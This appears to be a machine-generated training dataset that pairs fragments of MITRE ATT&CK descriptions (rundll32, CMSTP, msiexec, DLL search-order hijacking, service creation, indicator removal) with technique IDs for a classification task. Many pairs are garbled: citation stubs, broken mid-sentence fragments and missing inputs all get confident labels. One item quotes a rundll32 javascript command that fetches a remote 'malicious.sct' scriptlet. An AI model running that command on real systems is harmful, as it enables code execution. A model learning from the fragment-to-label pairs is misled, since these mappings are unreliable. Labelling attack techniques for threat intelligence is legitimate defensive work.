Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Double-clicking a .cpl file also causes rundll32.exe to execute.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Double-clicking a .cpl file also causes rundll32.exe to execute. ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input:
(Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: This behavior has been seen used by malware such as Poweliks.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior has been seen used by malware such as Poweliks. ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: This is Security Command Line Confusion)

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: This is Security Command Line Confusion) ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction).

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex:

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex:  ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: rundll32.exe ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: file.dll,#1</code>). ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation:

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: rundll32.exe defense evasion)

Output: T1218.011

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: rundll32.exe defense evasion) ### Response: T1218.011.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility.

Output: T1218.009

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. ### Response: T1218.009.


Instruction: List the MITRE techniques contained in the text.

Input: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET

Output: T1218.009

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET ### Response: T1218.009.


Instruction: List the MITRE techniques contained in the text.

Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies.

Output: T1218.009

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. ### Response: T1218.009.


Instruction: List the MITRE techniques contained in the text.

Input: Both are binaries that may be digitally signed by Microsoft.

Output: T1218.009

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both are binaries that may be digitally signed by Microsoft. ### Response: T1218.009.


Instruction: List the MITRE techniques contained in the text.

Input:
(Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively.

Output: T1218.009

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. ### Response: T1218.009.


Instruction: List the MITRE techniques contained in the text.

Input: The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.

Output: T1218.009

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. ### Response: T1218.009.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

Output: T1218.009

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) ### Response: T1218.009.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse CMSTP to proxy execution of malicious code.

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse CMSTP to proxy execution of malicious code. ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may supply CMSTP.exe with INF files infected with malicious commands.

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may supply CMSTP.exe with INF files infected with malicious commands. ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Twitter CMSTP Usage Jan 2018)

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter CMSTP Usage Jan 2018) ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers.

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Twitter CMSTP Jan 2018)

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter CMSTP Jan 2018) ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: MSitPros CMSTP Aug 2017)

Output: T1218.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSitPros CMSTP Aug 2017) ### Response: T1218.003.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

Output: T1218.003


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.

Output: T1218.007

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. ### Response: T1218.007.


Instruction: List the MITRE techniques contained in the text.

Input: Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec)

Output: T1218.007

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) ### Response: T1218.007.


Instruction: List the MITRE techniques contained in the text.

Input: The Msiexec.exe binary may also be digitally signed by Microsoft.

Output: T1218.007

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Msiexec.exe binary may also be digitally signed by Microsoft. ### Response: T1218.007.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse msiexec.exe to launch local or network accessible MSI files.

Output: T1218.007

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. ### Response: T1218.007.


Instruction: List the MITRE techniques contained in the text.

Input: Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018)

Output: T1218.007

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) ### Response: T1218.007.


Instruction: List the MITRE techniques contained in the text.

Input: Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse.

Output: T1218.007

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. ### Response: T1218.007.


Instruction: List the MITRE techniques contained in the text.

Input: Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation:

Output: T1218.007

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: ### Response: T1218.007.


Instruction: List the MITRE techniques contained in the text.

Input: Microsoft AlwaysInstallElevated 2018)

Output: T1218.007

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft AlwaysInstallElevated 2018) ### Response: T1218.007.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: **This technique has been deprecated and should no longer be used.

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated and should no longer be used. ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input:
**

The source command loads functions into the current shell or executes files in the current context.

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **

The source command loads functions into the current shell or executes files in the current context. ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input: This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used. ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input: * /path/to/filename [arguments]</code>.

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * /path/to/filename [arguments]</code>. ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input: Take note of the space after the ".".

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Take note of the space after the ".". ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input: Without a space, a new shell is created that runs the program instead of running the program within the current context.

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without a space, a new shell is created that runs the program instead of running the program within the current context. ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input: This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual) ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries can abuse this functionality to execute programs.

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse this functionality to execute programs. ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input: The file executed with this technique does not need to be marked executable beforehand.

Output: T1153

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The file executed with this technique does not need to be marked executable beforehand. ### Response: T1153.


Instruction: List the MITRE techniques contained in the text.

Input: Windows systems use a common method to look for required DLLs to load into a program.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows systems use a common method to look for required DLLs to load into a program. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: Often this location is the current working directory of the program.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often this location is the current working directory of the program. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Microsoft 2269637)

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft 2269637) ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use this behavior to cause the program to load a malicious DLL.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this behavior to cause the program to load a malicious DLL. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order) ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

Output: T1038

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. ### Response: T1038.


Instruction: List the MITRE techniques contained in the text.

Input: When operating systems boot up, they can start programs or applications called services that perform background system functions.

Output: T1050

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When operating systems boot up, they can start programs or applications called services that perform background system functions. ### Response: T1050.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: TechNet Services)

Output: T1050

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TechNet Services) ### Response: T1050.


Instruction: List the MITRE techniques contained in the text.

Input: A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.

Output: T1050

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. ### Response: T1050.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry.

Output: T1050

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. ### Response: T1050.


Instruction: List the MITRE techniques contained in the text.

Input: The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036).

Output: T1050

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). ### Response: T1050.


Instruction: List the MITRE techniques contained in the text.

Input: Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM.

Output: T1050

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. ### Response: T1050.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).

Output: T1050

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035). ### Response: T1050.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.

Output: T1070

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070.


Instruction: List the MITRE techniques contained in the text.

Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions.

Output: T1070

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. ### Response: T1070.


Instruction: List the MITRE techniques contained in the text.

Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.

Output: T1070

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070.


Instruction: List the MITRE techniques contained in the text.

Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Output: T1070

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070.


Instruction: List the MITRE techniques contained in the text.

